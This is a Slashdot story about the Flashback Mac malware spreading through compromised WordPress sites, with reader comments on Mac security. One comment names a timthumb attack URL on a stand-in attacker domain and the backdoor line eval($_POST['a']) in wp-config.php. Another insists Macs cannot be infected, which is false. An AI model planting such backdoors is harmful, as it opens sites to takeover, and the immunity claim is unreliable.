Slashdot Mirror
Mac Flashback Attack Began With Wordpress Blogs
With more on the Flashback malware plaguing many Macs, beaverdownunder writes with some explanation of how the infection grew so quickly: "Alexander Gostev, head of the global research and analysis team at Kaspersky, says that 'tens of thousands of sites powered by WordPress were compromised. How this happened is unclear. The main theories are that bloggers were using a vulnerable version of WordPress or they had installed the ToolsPack plug-in.'"
At it's height it was never as bad as some of the windows viruses have been, but it plants the seed that macs aren't safe and are just as vulnerable as any other OS.
...knows far less about computer security than the average Windows user that's lived with viruses for 20 years?
That's one tough learning curve they're entering.
The main problem here may be ignorance. I use OS X and I only heard about this malware here on Slashdot. I really don't recall reading about it anywhere else. I immediately installed a Java update when it was available because I heard the fix was propagated through it. I might have as well skipped it or postponed it as I often do when I am in a situation when I don't want to wait for the updates to install, e.g. when checking email in a hotel on a vacation or just turning on the laptop to quickly see something like weather forecast.
Most Mac users probably never even heard about Flashback.
Oh, they do know about viruses, but the majority of these users moved away from windows so they can keep being lazy and not care about security, of course, the malware is going to follow them.
Obviously Flashback had the benefit of fighting against a userbase largely ignorant of security and it's quite likely that if Apple and it's users start taking security seriously, future Mac infections will have significantly less impact. But history tells me things will become much worse before it gets better.
Or, not.
For this you'll need Apple to back pedal on some simplification they've made to make their OS more accessible to less technical people. (Like installing application simply by drag-droping an icon from an archive into a system folder. With no privilege asked).
I think that they'll rather use this incident as a golden pretext to put consummer OS X laptops into a iOS-like walled garden. If users only install Apple approved Apps on the laptops, the risks of infection should be dropping, right?~ And who needs non approved apps expect some developpers and other similarly crazy people.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
as usual.. the countless rooted LAMP boxen hosting blogs serving malware to Windows computers. Irony?
"How this happened is unclear. The main theories are that bloggers were using a vulnerable version of WordPress or they had installed the ToolsPack plug-in."
This it not unclear at all. There were a few security problems with WP in the last year. But a LOT of themes use the timthumb.php module to do dynamic rescaling of images. Timthumb used to be extremely vulnerable, you could download a file from http://www.youtube.com.attacker-domainname/anything.php, install it in the timthumb's cache and have full access like forever.
Updating WP wouldn't do any good, as a fully updated WP installation can still run a vulnerable theme. Even when the flaws in timthumb were fixed and the theme is updated, these sites have been flooded with backdoors, varying from eval($_POST['a']) in wp-config.php to newly created admin users. (Admin users can edit .php files from /wp-admin, an admin user effectively has power to run any php code desired.)
I've manually removed and analysed infections from several customers wordpress websites, all were hit by timthumb exploits. Some of these websites had literally dozens of backdoors, each of which gave full access to the site. I've seen malware that hid from googlebot to avoid detection. I've seen infections with timers, and infections that kept an IRC connection open to accept commands. These infections were just waiting for the right moment to be abused.
Apple really wants to downplay the issue. This actually isn't the first Malware to hit Macs (one of our professors got one that was using text to speech to read out ads, it was hilarious) just the first one to be really bad. Apple is still addicted to selling the viewpoint that Macs are immune to that kind of shit. So they didn't go putting out any big press releases warning people of nasty shit.
Most of the time when there's a nasty problem, the vendors put out press releases to try and let people know that the patches this time around are more important than normal and yes, you really need to apply them Right Now. Apple didn't so reporting on it wasn't as widespread as you might expect.
Also there are a surprising number of Mac users who drink the "Macs can't get viruses," kool aid whole heartedly. They don't just believe the specifics of the Apple advertising, they really believe Macs are 100% immune to security issues. Drives me up the wall when I'm dealing with one of them and trying to explain that yes, you DO need to patch your OS even though it is a Mac and no, running an FTP with world write access is not ok just because it is a Mac (really, had some grad students pull that one).
Given the amount of Mac users in journalism, and the general techno-unawareness of journalists, that makes the problem worse. Someone sees a story about a "mac virus" and they say "Nah, can't be real, Mac's don't get viruses, just more stupid shit floating around the 'net."
As time goes on, and Macs continue to be targeted (which they will) or we see cross platform attacks (using Java or HTML5 or something) the awareness of security on Macs will slowly rise.
I have had non technical Mac users ask me about this, that means that they (or at least more of them than before) are open to advise about security and don't just smugly boast about Macs being invincible any longer. This makes everyone safer from my view.
BTW the advise I give Mac users who ask is as follows:
1: run apple menu->software update manually at least once a week, and download everything it suggests*
2: use a non admin account for daily activity and NEVER provide admin creds unless you know exactly what it is using them for, you should never need to do this while surfing the web.
3: Only get software from trusted sources, like the app store, SourceForge, or vendor web sites like Adobe or Autodesk.
4: Switch to a platform where java is controlled and updated by the first party, Oracle and not a third party, Apple to ensure you have the best security possible.
*Just as with windows or any other *NIX box, there is an exception to the all update thing, if you know that it will break your workflow or some component thereof, you can skip it while that is worked out.
I am not a web dev but it seems to me that there are way too many stories that involve wordpress attacks in the past year, I have heard of at least 10 cases of wordpress being compromised, but in that same time not one case of Drupal, Sharepoint, Joomla, or Movable Type having the same issues assuming all were running the latest releases.
Is wordpress broken at it's core, or is it all just crummy plugins that open holes?
relly right saying
...knows far less about computer security than the average Windows user that's lived with viruses for 20 years?
That's one tough learning curve they're entering.
The average Mac user is a former average Windows user.
Neither understands jack shit about security.
figures the source for this whole fiasco would be some open source crap for cheapskates
Enough said.
Maybe the point here is that maybe 1 in a 1,000 Macs has antivirus software installed. If you sit behind a veil of invincibility, eventually you learn... sometimes the hard way.
I thought Macs were "immune" to computer viri..... Thats what my robot artist friends have always told me......... gee.....
First off you moron gotta figure out what is a virus and how this even touches a computer. I get a kick out of viruses be noted when its a hole in an os which means I would close this hole or stop running the poorly written software. Second, Like i said before unix aka mac os x is a parent child process controlled system and has no way of running any virus nor infect anything from the browser. If you are unsure of how to run a machine turn it off and go back to knitting.
MORONS>
Mac is not infected nor will it ever be... Unix is Unix.